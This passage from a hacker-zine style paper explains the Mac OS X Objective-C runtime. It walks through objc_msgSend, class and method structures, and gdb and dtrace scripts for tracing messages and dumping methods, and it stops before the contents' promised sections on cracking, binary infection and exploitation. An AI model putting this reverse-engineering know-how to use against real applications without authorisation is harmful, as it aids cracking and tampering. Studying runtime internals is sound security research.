|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Contents

1 ‑ Introduction

2 ‑ What is Objective‑C?

3 ‑ The Objective‑C Runtime

3.1 ‑ libobjc.A.dylib

3.2 ‑ The __OBJC Segment

4 ‑ Reverse Engineering Objective‑C Applications.

4.1 ‑ Static analysis toolset

4.2 ‑ Runtime analysis toolset

4.3 ‑ Cracking

4.4 ‑ Objective‑C Binary infection.

5 ‑ Exploiting Objective‑C Applications

5.1 ‑ Side note: Updated shared_region technique.

6 ‑ Conclusion

7 ‑ References

8 ‑ Appendix A: Source code

‑‑[ 1 ‑ Introduction

Hello reader. I am writing this paper to document some research which I undertook on Mac OS X around 3 years ago.

At the time i prepared this research, I gave a talk on it at Ruxcon. It was a pretty terrible talk, dry and technical and it demotivated me a little. Unfortunately due to this i didn't keep the slides. Around this time my laptop broke and Apple refused to fix it. This drove me away from Mac OS X for a while. A week ago, we tried again with another Apple store, just in case, and they seem to have fixed the problem. So i'm back on OS X and giving the documentation of this research another try. I'm hoping it transfers a little smoother in .txt format, however you be the judge.

The topic of this research is the Objective‑C runtime on Mac OS X. Basically, during the contents of this paper, i will look at how the Objective‑C runtime works both in a binary, and in memory. I will then look at how we can manipulate the runtime to our advantage, from a reverse engineering/exploit development and binary infection perspective.

‑‑[ 2 ‑ What is Objective‑C?

Before we look at the Objective‑C runtime, let's take a look at what Objective‑C actually is.

Objective‑C is a reflective programming language which aims to provide object orientated concepts and Smalltalk‑esque messaging to C.

Gcc provides a compiler for Objective‑C, however due to the rich library support on OpenStep based operating systems (Mac OS X, IPhone, GNUstep) it is typically only really used on these platforms.

Objective‑C is implemented as an augmentation to the C language. It is a superset of C which means that any Objective‑C compiler can also compile C.

To learn more about Objective‑C, you can read the [1] and [2] in the references.

To illustrate what Objective‑C looks like as a language we'll look at a simple Hello World example from [3]. This tutorial shows how to compile a basic Hello World style Objective‑C app from the command line. If you're already familiar with Objective‑C just go ahead and skip to the next section. ;‑)

So first we make a directory for our project ...

‑[dcbz@megatron:~/code]$ mkdir HelloWorld

‑[dcbz@megatron:~/code]$ mkdir HelloWorld/build

... and create the header file for our new class (Talker.)

‑[dcbz@megatron:~/code]$ cat > HelloWorld/Talker.h

#import <Foundation/Foundation.h>

@interface Talker : NSObject

‑ (void) say: (STR) phrase;

@end

^D

As you can see, Objective‑C projects use the .h extension

just like C. This header looks pretty different to a typically C style header though.

The "@interface Talker : NSObject" line basically tells the compiler that a "Talker" class exists, and it's derived from the NSObject class.

The "‑ (void) say: (STR) phrase;" line describes a public method of that class called "say". This method takes a (STR) argument called "phrase".

Now that the header file exists and our class is defined, we need to implement the meat of the class. Typically Objective‑C files have the file extension ".m".

‑[dcbz@megatron:~/code]$ cat > HelloWorld/Talker.m

#import "Talker.h"

@implementation Talker

‑ (void) say: (STR) phrase {

printf("%s\n", phrase);

}

@end

^D

Clearly the implementation for the Talker class is pretty straight forward. The say() method takes the string "phrase" and prints it with printf.

Now that our class is layed down, we need to write a little main() function to use it.

‑[dcbz@megatron:~/code]$ cat > HelloWorld/hello.m

#import "Talker.h"

int main(void) {

Talker *talker = [[Talker alloc] init];

[talker say: "Hello, World!"];

[talker release];

}

From this example you can see that the syntax for calling methods of an Objective‑C class is not quite the same as your typical C or C++ code. It looks far more like smalltalk messaging, or Lisp.

[<object> <method>: <argument>];

Typically Objective‑C programmers alloc and init on the same line, as shown in the example. I know this generally sets off alarm bells that a NULL pointer dereference can occur, however the Objective‑C runtime has a check for a NULL pointer being passed to the runtime which catches this condition. (see the objc_msgSend source later in this paper.)

Now we just build the project. The ‑framework option to gcc allows us to specify an Objective‑C framework to link with.

‑[dcbz@megatron:~/code]$ cd HelloWorld/ ‑[dcbz@megatron:~/code/HelloWorld]$ gcc ‑o build/hello Talker.m hello.m ‑framework Foundation

‑[dcbz@megatron:~/code/HelloWorld]$ cd build/ ‑[dcbz@megatron:~/code/HelloWorld/build]$ ./hello

Hello, World!

As you can see, the produced binary outputs "Hello, World!" as expected. Unfortunately, this example about showcases all the skill I have with Objective‑C as a language. I've spent way more time auditing it than I have writing it. Fortunately you don't really need a heavy understanding of Objective‑C to follow the rest of the paper.

‑‑[ 3 ‑ The Objective‑C Runtime

Now that we're intimately familiar with Objective‑C as a language, ;‑) ‑ We can begin to focus on the interesting aspects of Objective‑C, the runtime that allows it to function.

As I mentioned earlier in the Introduction section, Objective‑C is a reflective language. The following quote explains this more clearly than i could (in a very academic manner :( ).

"""

Reflection is the ability of a program to manipulate as data something representing the state of the program during its own execution. There are two aspects of such manipulation : introspection and intercession. Introspection is the ability of a program to observe and therefore reason about its own state. Intercession is the ability of a program to modify its own execution state or alter its own interpretation or meaning. Both aspects require a mechanism for encoding execution state as data; providing such an encoding is called reification.

""" ‑ [4]

Basically this means, that at runtime, Objective‑C classes are designed to be aware of their own state, and be capable of altering their own implementation. As you can imagine, this information/functionality can be quite useful from a hacking perspective.

So how is this implemented on Mac OS X? Firstly, when gcc compiles our hello.m application, it is linked with the "libobjc.A.dylib" library.

"""

‑[dcbz@megatron:~/code/HelloWorld/build]$ otool ‑L hello

hello: /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation (compatibility version 300.0.0, current version 677.22.0) /usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current version 1.0.0)

/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 111.1.3)

/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current version 227.0.0) /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation (compatibility version 150.0.0, current version 476.17.0)

"""

The source code for this dylib is available from [5]. This library contains the code for manipulating our Objective‑C classes at runtime.

Also during compile time, gcc is responsible for storing all the information required by libobjc.A.dylib inside the binary. This is accomplished by creating the __OBJC segment. I plan not to cover the Mach‑O file format in this paper, as it's been done to death [6]. We're more interested in what the various sections contain.

Here's a list of the __OBJC segment in our binary and the sections contained (logically) within.

LC_SEGMENT.__OBJC.__cat_cls_meth LC_SEGMENT.__OBJC.__cat_inst_meth LC_SEGMENT.__OBJC.__string_object LC_SEGMENT.__OBJC.__cstring_object LC_SEGMENT.__OBJC.__message_refs

LC_SEGMENT.__OBJC.__sel_fixup

LC_SEGMENT.__OBJC.__cls_refs

LC_SEGMENT.__OBJC.__class

LC_SEGMENT.__OBJC.__meta_class

LC_SEGMENT.__OBJC.__cls_meth

LC_SEGMENT.__OBJC.__inst_meth

LC_SEGMENT.__OBJC.__protocol

LC_SEGMENT.__OBJC.__category

LC_SEGMENT.__OBJC.__class_vars

LC_SEGMENT.__OBJC.__instance_vars LC_SEGMENT.__OBJC.__module_info

LC_SEGMENT.__OBJC.__symbols

As you can see, quite a lot of information is stored in the file and therefore available at runtime..

We'll look at both the in memory components of the Objective‑C runtime and the file contents in more detail in the following sections.

‑‑‑‑‑‑[ 3.1 ‑ libobjc.A.dylib

As mentioned previously, the file libobjc.A.dylib is a library file on Mac OS X which provides the in‑memory runtime functionality of the Objective‑C language.

The source code for this library is available from the apple website. [5].

Apple have documented the mechanics of this library quite well in the papers [7] & [8]. These papers show versions 1.0 and 2.0 of the runtime.

When I last looked at the runtime 3 years ago, version 2.0 was the latest. However it seems that 3.0 is the standard now, and things have changed quite dramatically. I actually wrote a large portion of this section based on how things used to be, and I had to go back and rewrite most of it. Hopefully there aren't any errors due to this. But please forgive me if there are.

Probably the first and most important function in this library is the "objc_msgSend" function.

objc_msgSend() is used to send messages to an object in memory. All access to a method or attribute of an Objective‑C object at runtime utilize this function.

Here is the description of this function, taken from the Objective‑C 2.0 Runtime Reference [7].

"""

objc_msgSend():

Sends a message with a simple return value to an instance of a class.

id objc_msgSend(id theReceiver, SEL theSelector, ...)

Parameters:

theReceiver

A pointer that points to the instance of the class that is to receive the message.

theSelector

The selector of the method that handles the message.

...

A variable argument list containing the arguments to the method.

ReturnValue

The return value of the method.

"""

In order to understand this function we need to first understand the structures used by this function.

The first argument to objc_msgSend() is an "id" struct. The definition for this struct is in the file /usr/include/objc/objc.h.

typedef struct objc_object {

Class isa;

} *id;

typedef struct objc_class *Class;

struct objc_class

{

struct objc_class* isa;

struct objc_class* super_class;

const char* name;

long version;

long info;

long instance_size;

struct objc_ivar_list* ivars;

struct objc_method_list** methodLists;

struct objc_cache* cache;

struct objc_protocol_list* protocols;

};

As you can see, an id is basically a pointer to an "objc_class" instance in memory.

I will now run through some of the more interesting elements of this struct.

The isa element is a pointer to the class definition for the object.

The super_class element is a pointer to the base class for this object.

The name element is just a pointer to the name of the object at runtime. This is only really useful from a higher level perspective.

The ivars element is basically a way to represent all the instance variables of an object in memory. It consists of a pointer to an objc_ivar_list struct. This basically contains a count, followed by an array of count * objc_ivar structs.

struct objc_ivar_list {

int ivar_count

/* variable length structure */

struct objc_ivar ivar_list[1]

}

The objc_ivar struct, consists of the name, and type of the variable. Both of which are simply char * as seen below.

struct objc_ivar {

char *ivar_name

char *ivar_type

int ivar_offset

}

The ivar_offset value indicates how far into the __OBJC.__class_vars section to seek, to find the data used by this variable.

The methodLists element is basically a list of the methods supported by the class. The objc_method_list struct is simply made up of an integer that dictates how many methods there are, followed by an array of struct objc_method's.

struct objc_method_list

{

struct objc_method_list *obsolete;

int method_count;

struct objc_method method_list[1];

}

typedef struct objc_method *Method;

The objc_method struct contains a SEL, (our second argument to objc_msgSend too, while we'll get to soon) which dictates the method_name, a string containing the argument types to the method. Finally this struct contains a function pointer for the method itself, of type IMP.

struct objc_method {

SEL method_name

char *method_types

IMP method_imp

}

id (*IMP)(id, SEL, ...)

An IMP function pointer indicates that the first argument should be the classes "self" pointer, or the id (objc_class) pointer for the class. The second argument should be the methods's SEL (selector).

For now that's all that's interesting to us about the ID data type. Later on in this paper we'll look at how the method caching works, and how it can negatively affect us.

Now let's look at the mysterious data type "SEL" that we've been hearing so much about. The second argument to objc_msgSend.

typedef struct objc_selector *SEL;

And what is an objc_selector struct you ask? Turns out, it's just a char * string that's been processed by the runtime.

objc_msgSend() is implemented in assembly. To read it's implementation browse to the runtime/Messengers.subproj directory in the objc‑runtime source tree. The file objc‑msg‑i386.s is the intel implementation of this.

Now that we're some what familiar with the runtime, let's take a look at our sample "hello" application we wrote earlier in a debugger and verify our progress.

The most commonly used debugger on Mac OS X is gdb, obviously. Since I've spent so much time in the Windows world lately I am intel syntax inclined, I apologize in advance.

Regardless, let's fire up gdb and take a look at the source of our main function.

‑[dcbz@megatron:~/code/HelloWorld/build]$ gdb ./hello

GNU gdb 6.3.50‑20050815 (Apple version gdb‑768) (Tue Oct 2 04:07:49 UTC 2007)

Copyright 2004 Free Software Foundation, Inc.

(gdb) set disassembly‑flavor intel

(gdb) disas main

Dump of assembler code for function main:

0x00001f3d <main+0>:push ebp

0x00001f3e <main+1>:mov ebp,esp

0x00001f40 <main+3>:push ebx

0x00001f41 <main+4>:sub esp,0x24

0x00001f44 <main+7>:call 0x1f49 <main+12>

0x00001f49 <main+12>:pop ebx

0x00001f4a <main+13>:lea eax,[ebx+0x117b]

0x00001f50 <main+19>:mov eax,DWORD PTR [eax]

0x00001f52 <main+21>:mov edx,eax

0x00001f54 <main+23>:lea eax,[ebx+0x1177]

0x00001f5a <main+29>:mov eax,DWORD PTR [eax]

0x00001f5c <main+31>:mov DWORD PTR [esp+0x4],eax

0x00001f60 <main+35>:mov DWORD PTR [esp],edx

0x00001f63 <main+38>:call 0x4005 <dyld_stub_objc_msgSend> 0x00001f68 <main+43>:mov edx,eax

0x00001f6a <main+45>:lea eax,[ebx+0x1173]

0x00001f70 <main+51>:mov eax,DWORD PTR [eax]

0x00001f72 <main+53>:mov DWORD PTR [esp+0x4],eax

0x00001f76 <main+57>:mov DWORD PTR [esp],edx

0x00001f79 <main+60>:call 0x4005 <dyld_stub_objc_msgSend> 0x00001f7e <main+65>:mov DWORD PTR [ebp‑0xc],eax

0x00001f81 <main+68>:mov ecx,DWORD PTR [ebp‑0xc]

0x00001f84 <main+71>:lea eax,[ebx+0x116f]

0x00001f8a <main+77>:mov edx,DWORD PTR [eax]

0x00001f8c <main+79>:lea eax,[ebx+0x96]

0x00001f92 <main+85>:mov DWORD PTR [esp+0x8],eax

0x00001f96 <main+89>:mov DWORD PTR [esp+0x4],edx

0x00001f9a <main+93>:mov DWORD PTR [esp],ecx

0x00001f9d <main+96>:call 0x4005 <dyld_stub_objc_msgSend> 0x00001fa2 <main+101>:mov edx,DWORD PTR [ebp‑0xc]

0x00001fa5 <main+104>:lea eax,[ebx+0x116b]

0x00001fab <main+110>:mov eax,DWORD PTR [eax]

0x00001fad <main+112>:mov DWORD PTR [esp+0x4],eax

0x00001fb1 <main+116>:mov DWORD PTR [esp],edx

0x00001fb4 <main+119>:call 0x4005 <dyld_stub_objc_msgSend> 0x00001fb9 <main+124>:add esp,0x24

0x00001fbc <main+127>:pop ebx

0x00001fbd <main+128>:leave

0x00001fbe <main+129>:ret

As you can see, our main function only consists of 4 calls to objc_msgSend(). There are no calls to our actual methods here. Here is a listing of the source code again, to jog your memory.

int main(void) {

Talker *talker = [[Talker alloc] init];

[talker say: "Hello World!"];

[talker release];

}

Each call to objc_msgSend() corresponds to each method call

in our source.

class | method

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Talker | alloc

talker | init

talker | say

talker | release

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To verify this we can put a breakpoint on the objc_msgSend() function.

(gdb) break objc_msgSend

Breakpoint 2 at 0x9470d670

(gdb) c

Continuing.

Breakpoint 2, 0x9470d670 in objc_msgSend ()

(gdb) x/2i $pc

0x9470d670 <objc_msgSend>: mov ecx,DWORD PTR [esp+0x8] 0x9470d674 <objc_msgSend+4>: mov eax,DWORD PTR [esp+0x4]

As you can see, the first two instructions in objc_msgSend() are responsible for moving the id into eax, and the selector into ecx.

To verify, lets step and print the contents of ecx.

(gdb) stepi

0x9470d674 in objc_msgSend ()

(gdb) x/s $ecx

0x9470e66c <objc_msgSend_stub+828>: "alloc"

As predicted "alloc" was the first method called.

Now we can delete our breakpoints, and add a breakpoint at the current location. Then use the "commands" option in gdb to print the string at ecx, every time this breakpoint is hit.

(gdb) break

Breakpoint 3 at 0x9470d674

(gdb) commands

Type commands for when breakpoint 3 is hit, one per line.

End with a line saying just "end".

>x/s $ecx

>c

>end

(gdb) c

Continuing.

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x94722d20 <__FUNCTION__.12370+80320>: "defaultCenter"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x9470e83c <objc_msgSend_stub+1292>: "self"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x94772d28 <__FUNCTION__.12370+408008>: "addObserver:selector:name:object:"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x9470e66c <objc_msgSend_stub+828>: "alloc"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x9470e680 <objc_msgSend_stub+848>: "initialize"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x9477f158 <__FUNCTION__.12370+458232>: "allocWithZone:"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x9470e858 <objc_msgSend_stub+1320>: "init"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x1fd0 <main+147>: "say:"

Hello World!

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x947a9334 <__FUNCTION__.12370+630740>: "release"

Breakpoint 8, 0x9470d674 in objc_msgSend ()

0x9474e514 <__FUNCTION__.12370+258484>: "dealloc"

This works as expected. However, we can see that we were flooded with methods that weren't related to our class from the NS runtime loading. Let's try to implement something to see which class methods were called on.

Remembering back to our objc_class struct:

struct objc_class

{

struct objc_class* isa;

struct objc_class* super_class;

const char* name;

8 bytes into the struct there's a 4 byte pointer to the class's name.

To verify this, we can restart the process with our breakpoint in the same place.

Breakpoint 6, 0x9470d674 in objc_msgSend ()

(gdb) printf "%s\n", *(long*)($eax+8)

NSNotificationCenter

This time when it's hit, we deref the pointer at $eax+8 and print it to find out the class name.

Again we can script this with the "commands" option to automate the process. But lets change our code so that rather than using printf, we utilize one of the functions exported by our objective‑c runtime:

call (char *)class_getName($eax)

This function will do the work for us just with our ID.

(gdb) b *0x9470d674

Breakpoint 1 at 0x9470d674

(gdb) commands

Type commands for when breakpoint 1 is hit, one per line.

End with a line saying just "end".

>call (char *)class_getName($eax)

>x/s $ecx

>c

>end

(gdb) run

...

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$107 = 0x6e6f5a68 <Address 0x6e6f5a68 out of bounds>

0x9477f158 <__FUNCTION__.12370+458232>: "allocWithZone:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$108 = 0x0

0x94772d28 <__FUNCTION__.12370+408008>: "addObserver:selector:name:object:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$109 = 0x916e0318 "NSNotificationCenter"

0x94722d20 <__FUNCTION__.12370+80320>: "defaultCenter"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$110 = 0x916e0318 "NSNotificationCenter"

0x9470e83c <objc_msgSend_stub+1292>: "self"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$111 = 0x0

0x94772d28 <__FUNCTION__.12370+408008>: "addObserver:selector:name:object:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$112 = 0x77656e <Address 0x77656e out of bounds>

0x9470e66c <objc_msgSend_stub+828>: "alloc"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$113 = 0x1fc9 "Talker"

0x9470e680 <objc_msgSend_stub+848>: "initialize"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$114 = 0x1fc9 "Talker"

0x9477f158 <__FUNCTION__.12370+458232>: "allocWithZone:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$115 = 0x6b617761 <Address 0x6b617761 out of bounds>

0x9470e858 <objc_msgSend_stub+1320>: "init"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$116 = 0x21646c72 <Address 0x21646c72 out of bounds>

0x1fd0 <main+147>: "say:"

Hello World!

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$117 = 0x6470755f <Address 0x6470755f out of bounds>

0x947a9334 <__FUNCTION__.12370+630740>: "release"

Breakpoint 2, 0x9470d674 in objc_msgSend ()

$118 = 0x615f4943 <Address 0x615f4943 out of bounds>

0x9474e514 <__FUNCTION__.12370+258484>: "dealloc"

And as you can see, this works as sort of a make shift, objective‑c message tracing system.

However in some cases, eax does not actually contain an id. And this will not work. Hence we get the messages like:

$118 = 0x615f4943 <Address 0x615f4943 out of bounds>

This is due to the fact that objc_msgSend() is not always an entry point. So we can't guarantee that every time our breakpoint is hit we are actually seeing a call to objc_msgSend().

To make our tracer work more effectively we can put a breakpoint on 0x4005 <dyld_stub_objc_msgSend> instead. This means we have to use esp+0x8 for our SEL and esp+0x4 for our ID.

We can use the statement:

printf "[%s %s]\n", *(long *)((*(long*)($esp+4))+8),*(long *)($esp+8)

To print our object and method nicely.

This works pretty well but we still hit a situation where sometimes our class's name is set to NULL. In this case we take the isa (deref the first pointer in the struct) and get the name of that.

The following gdb script will handle this:

#

# Trace objective‑c messages. ‑ nemo 2009

#

b dyld_stub_objc_msgSend

commands

set $id = *(long *)($esp+4)

set $sel = *(long *)($esp+8)

if(*(long *)($id+8) != 0)

printf "[%s %s]\n", *(long *)($id+8),$sel continue

end

set $isx = *(long *)($id)

printf "[%s %s]\n", *(long *)($isx+8),$sel continue

end

We could also implement this with dtrace on Mac OS X quite easily.

#!/usr/sbin/dtrace ‑qs

/* usage: objcdump.d <pid> */

pid$1::objc_msgSend:entry

{

self‑>isa = *(long *)copyin(arg0,4);

printf("‑[%s %s]\n",copyinstr(*(long *)copyin(self‑>isa + 8, 4)),copyinstr(arg1));

}

Let me correct myself on that, we /should/ be able to implement this with dtrace on Mac OS X quite easily. However, dtrace is kind of like looking at a beautiful painting through a kids kaleidescope toy. Thanks a lot to twiz for helping me out with implementing this.

As you can see, the output of this script is the same as our gdb script, however the speed at which the process runs is magnitudes faster.

Now that we're hopefully familiar with how calls to objc_msgSend() work we can look at how the ivar's and methods are accessed.

In order to investigate this a little, we can modify our hello.m example code a little to include some attributes. To demonstrate this I will use the fraction example from [10]. (I'm getting uncreative in my old age ;‑) .

‑[dcbz@megatron:~/code/fraction]$ ls ‑lsa

total 24

0 drwxr‑xr‑x 5 dcbz dcbz 170 Mar 27 10:28 .

0 drwxr‑xr‑x 33 dcbz dcbz 1122 Mar 27 10:17 ..

8 ‑rwxr‑‑‑‑‑ 1 dcbz dcbz 231 Mar 23 2004 Fraction.h

8 ‑rwxr‑‑‑‑‑ 1 dcbz dcbz 339 Mar 24 2004 Fraction.m

8 ‑rwxr‑‑‑‑‑ 1 dcbz dcbz 386 Mar 27 2004 main.m

As you can see, this project is pretty similar to our earlier hello.m example.

‑[dcbz@megatron:~/code/fraction]$ cat Fraction.h

#import <Foundation/NSObject.h>

@interface Fraction: NSObject {

int numerator;

int denominator;

}

‑(void) print;

‑(void) setNumerator: (int) d;

‑(void) setDenominator: (int) d;

‑(int) numerator;

‑(int) denominator;

@end

Our header file defines a simple interface to a "Fraction" class. This class represents the numerator and denominator of a fraction.

It exports the methods setNumerator and setDemonimator in order to modify these values, and the methods numerator() and denominator() to get the values.

‑[dcbz@megatron:~/code/fraction]$ cat Fraction.m

#import "Fraction.h"

#import <stdio.h>

@implementation Fraction

‑(void) print {

printf( "%i/%i", numerator, denominator );

}

‑(void) setNumerator: (int) n {

numerator = n;

}

‑(void) setDenominator: (int) d {

denominator = d;

}

‑(int) denominator {

return denominator;

}

‑(int) numerator {

return numerator;

}

@end

The actual implementation of these methods is pretty much what you would expect from any OOP language. Get methods return the object's attribute, set methods set it.

‑[dcbz@megatron:~/code/fraction]$ cat main.m

#import <stdio.h>

#import "Fraction.h"

int main( int argc, const char *argv[] ) {

// create a new instance

Fraction *frac = [[Fraction alloc] init];

// set the values

[frac setNumerator: 1];

[frac setDenominator: 3];

// print it

printf( "The fraction is: " );

[frac print];

printf( "\n" );

// free memory

[frac release];

return 0;

}

As you can see, our main.m file contains code to instantiate an instance of the class. It then sets the numerator to 1 and denominator to 3, and prints the fraction. Pretty straight forward stuff.

‑[dcbz@megatron:~/code/fraction]$ gcc ‑o fraction Fraction.m main.m ‑framework Foundation

‑[dcbz@megatron:~/code/fraction]$ ./fraction

The fraction is: 1/3

Before we fire up gdb and look at this from a debugging perspective, lets take a quick look through the source code for what happens after objc_msgSend() is called.

ENTRY _objc_msgSend

CALL_MCOUNTER

// load receiver and selector

movl selector(%esp), %ecx

movl self(%esp), %eax

// check whether selector is ignored

cmpl $ kIgnore, %ecx

je LMsgSendDone // return self from %eax

// check whether receiver is nil

testl %eax, %eax

je LMsgSendNilSelf

// receiver (in %eax) is non‑nil: search the cache

LMsgSendReceiverOk:

movl isa(%eax), %edx // class = self‑>isa

CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss movl $kFwdMsgSend, %edx // flag word‑return for

_objc_msgForward

jmp *%eax // goto *imp

// cache miss: go search the method lists

LMsgSendCacheMiss:

MethodTableLookup WORD_RETURN, MSG_SEND

movl $kFwdMsgSend, %edx // flag word‑return for

_objc_msgForward

jmp *%eax // goto *imp

As you can see, objc_msgSend() first moves the receiver and selector into eax and ecx respectively. It then tests if the selector is kignore ("?"). If this is the case, it simply returns the receiver (id).

If the receiver is not NULL, a cache lookup is performed on the method in question. If the method is found in the cache, the value in the cache is simply called. We'll look into the cache in more detail later in the exploitation section.

If the method's address is not in the cache, the "MethodTableLookup" macro is used.

.macro MethodTableLookup

subl $$4, %esp // 16‑byte align the stack

// push args (class, selector)

pushl %ecx

pushl %eax CALL_EXTERN(__class_lookupMethodAndLoadCache)

addl $$12, %esp // pop parameters and alignment

.endmacro

From the code above we can see that this macro simply aligns the stack and calls __class_lookupMethodAndLoadCache.

This function, checks the cache of the class again, and it's super class for the method in question. If it's definitely not in the cache, the method list in the class is walked and tested individually for a match. If this is not successful the parent of the class is checked and so forth. If the method is found, it's called.

Let's look at this process in gdb.

We hit out breakpoint in objc_msgSend().

Breakpoint 7, 0x9470d670 in objc_msgSend ()

(gdb) stepi

0x9470d674 in objc_msgSend ()

(gdb) stepi

0x9470d678 in objc_msgSend ()

Step over the first two instructions to populate ecx and eax, for our convenience.

(gdb) x/s $ecx

0x1f8d <main+244>: "setNumerator:"

We can see the method being called (from the SEL argument) is setNumerator:

(gdb) x/x $eax

0x103240: 0x00003000

We take the ISA...

(gdb) x/x 0x00003000

0x3000 <.objc_class_name_Fraction>: 0x00003040

(gdb)

0x3004 <.objc_class_name_Fraction+4>: 0xa07fccc0

(gdb)

0x3008 <.objc_class_name_Fraction+8>: 0x00001f7e

Offset this by 8 bytes to find the class name.

(gdb) x/s 0x00001f7e

0x1f7e <main+229>: "Fraction"

So this is a call to ‑[Fraction setNumerator:] (obviously).

struct objc_class

{

struct objc_class* isa;

struct objc_class* super_class;

const char* name;

long version;

long info;

long instance_size;

struct objc_ivar_list* ivars;

struct objc_method_list** methodLists; struct objc_cache* cache;

struct objc_protocol_list* protocols;

};

Remembering our objc_class struct from earlier, we know that the method_lists struct is 28 bytes in.

(gdb) set $classbase=0x3000

(gdb) x/x $classbase+28

0x301c <.objc_class_name_Fraction+28>: 0x00103250

So the address of our method_list is 0x00103250.

struct objc_method_list

{

struct objc_method_list *obsolete;

int method_count;

struct objc_method method_list[1];

}

As you can see, our method_count is 5.

(gdb) x/x 0x00103250+4

0x103254: 0x00000005

typedef struct objc_method *Method;

struct objc_method {

SEL method_name

char *method_types

IMP method_imp

}

(gdb) x/3x 0x00103250+8

0x103258: 0x00001fb7 0x00001fd2 0x00001e8b

(gdb) x/s 0x00001fb7

0x1fb7 <main+286>: "numerator"

(gdb) x/7i 0x00001e8b

0x1e8b <‑[Fraction numerator]>: push ebp

0x1e8c <‑[Fraction numerator]+1>: mov ebp,esp

0x1e8e <‑[Fraction numerator]+3>: sub esp,0x8

0x1e91 <‑[Fraction numerator]+6>: mov eax,DWORD PTR [ebp+0x8] 0x1e94 <‑[Fraction numerator]+9>: mov eax,DWORD PTR [eax+0x4] 0x1e97 <‑[Fraction numerator]+12>: leave

0x1e98 <‑[Fraction numerator]+13>: ret

Now that we see clearly how methods are stored, we can write a small amount of gdb script to dump them.

(gdb) set $methods = 0x00103250 + 8

(gdb) set $i = 1

(gdb) while($i <= 5)

>printf "name: %s\n", *(long *)$methods

>printf "addr: 0x%x\n", *(long *)($methods+8)

>set $methods += 12

>set $i++

>end

name: numerator

addr: 0x1e8b

name: denominator

addr: 0x1e7d

name: setDenominator:

addr: 0x1e6c

name: setNumerator:

addr: 0x1e5b

name: print

addr: 0x1e26

We can now clearly display all our methods, so lets take a look at how our set and get methods actually work.

Firstly, lets take a look at the setDenominator method.

(gdb) x/8i 0x1e6c

0x1e6c <‑[Fraction setDenominator:]>: push ebp

0x1e6d <‑[Fraction setDenominator:]+1>: mov ebp,esp 0x1e6f <‑[Fraction setDenominator:]+3>: sub esp,0x8 0x1e72 <‑[Fraction setDenominator:]+6>: mov edx,DWORD PTR [ebp+0x8] 0x1e75 <‑[Fraction setDenominator:]+9>: mov eax,DWORD PTR [ebp+0x10] 0x1e78 <‑[Fraction setDenominator:]+12>: mov DWORD PTR [edx+0x8],eax 0x1e7b <‑[Fraction setDenominator:]+15>: leave

0x1e7c <‑[Fraction setDenominator:]+16>: ret

As you can see from the implementation, this function basically takes a pointer to the instance of our Fraction class, and stores the argument we pass to it at offset 0x8.

0x1e5b <‑[Fraction setNumerator:]>: push ebp

0x1e5c <‑[Fraction setNumerator:]+1>: mov ebp,esp

0x1e5e <‑[Fraction setNumerator:]+3>: sub esp,0x8

0x1e61 <‑[Fraction setNumerator:]+6>: mov edx,DWORD PTR [ebp+0x8] 0x1e64 <‑[Fraction setNumerator:]+9>: mov eax,DWORD PTR [ebp+0x10] 0x1e67 <‑[Fraction setNumerator:]+12>: mov DWORD PTR [edx+0x4],eax 0x1e6a <‑[Fraction setNumerator:]+15>: leave

0x1e6b <‑[Fraction setNumerator:]+16>: ret

Our setNumerator method is almost identical to this, however it uses offset 0x4 instead this is all pretty straight forward. So what's the ivars pointer that we saw earlier in our objc_class struct for then, you ask?

struct objc_class

{

struct objc_class* isa;

struct objc_class* super_class;

const char* name;

long version;

long info;

long instance_size;

struct objc_ivar_list* ivars;

struct objc_method_list** methodLists; struct objc_cache* cache;

struct objc_protocol_list* protocols;

};

Our ivars pointer (24 bytes in to the objc_class struct) is required because of the reflective properties of the Objective‑C language. The ivars pointer basically points to all the information about the instance variables of the class.

We can explore this in gdb, with our Fraction class some more.

First off, let's put a breakpoint on one of our objc_msgSend calls:

(gdb) break *0x00001f3b

Breakpoint 2 at 0x1f3b

(gdb) c

Continuing.

Once it's hit, we use the stepi command a few times, to populate the registers eax and ecx with the selector and id.

Breakpoint 2, 0x00001f3b in main ()

(gdb) stepi

0x00004005 in dyld_stub_objc_msgSend ()

(gdb)

0x94e0c670 in objc_msgSend ()

(gdb)

0x94e0c674 in objc_msgSend ()

Now our eax register contains a pointer to our instantiated class.

(gdb) x/x $eax

0x103230: 0x00003000

We display the first 4 bytes at eax to retrieve the ISA pointer.

Then we dump a bunch of bytes at that address.

(gdb) x/10x 0x3000

0x3000 <.objc_class_name_Fraction>: 0x00003040 0xa06e3cc0 0x00001f7e 0x00000000

0x3010 <.objc_class_name_Fraction+16>: 0x00ba4001 0x0000000c 0x000030c4 0x00103240

0x3020 <.objc_class_name_Fraction+32>: 0x001048d0 0x00000000

So according to our previous logic, 24 bytes in we should have the ivars pointer. Therefore in this case our ivars pointer is:

0x000030c4

